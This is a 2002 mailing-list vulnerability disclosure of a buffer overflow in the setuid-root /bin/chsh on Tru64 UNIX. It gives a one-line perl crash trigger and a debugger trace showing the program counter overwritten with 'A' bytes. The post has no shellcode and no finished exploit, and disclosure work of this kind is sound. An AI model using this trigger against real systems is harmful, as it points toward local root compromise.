TRU64 /bin/chsh overflow

From: Kevin Finisterre (dotslashat_private)
Date: Tue May 21 2002 - 16:04:11 PDT

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% /bin/chsh `perl -e 'print "A" x 9000'`
Segmentation fault
% uname -a
OSF1 alpha.snosoft.com V5.1 732 alpha
% ls -al /bin/chsh
-rws--x--x   3 root     bin        32944 Aug 24  2000 /bin/chsh

# dbx ./chsh core
dbx version 5.1
Type 'help' for help.
Core file created by program "chsh"

warning: ./chsh has no symbol table -- very little is supported without 
it


signal Segmentation fault at
warning: PC value 0x4141414141414140 not valid, trying RA
 > [__sia_warning, 0x3ff80196d20]        ldah    gp, 16368(ra)

-KF

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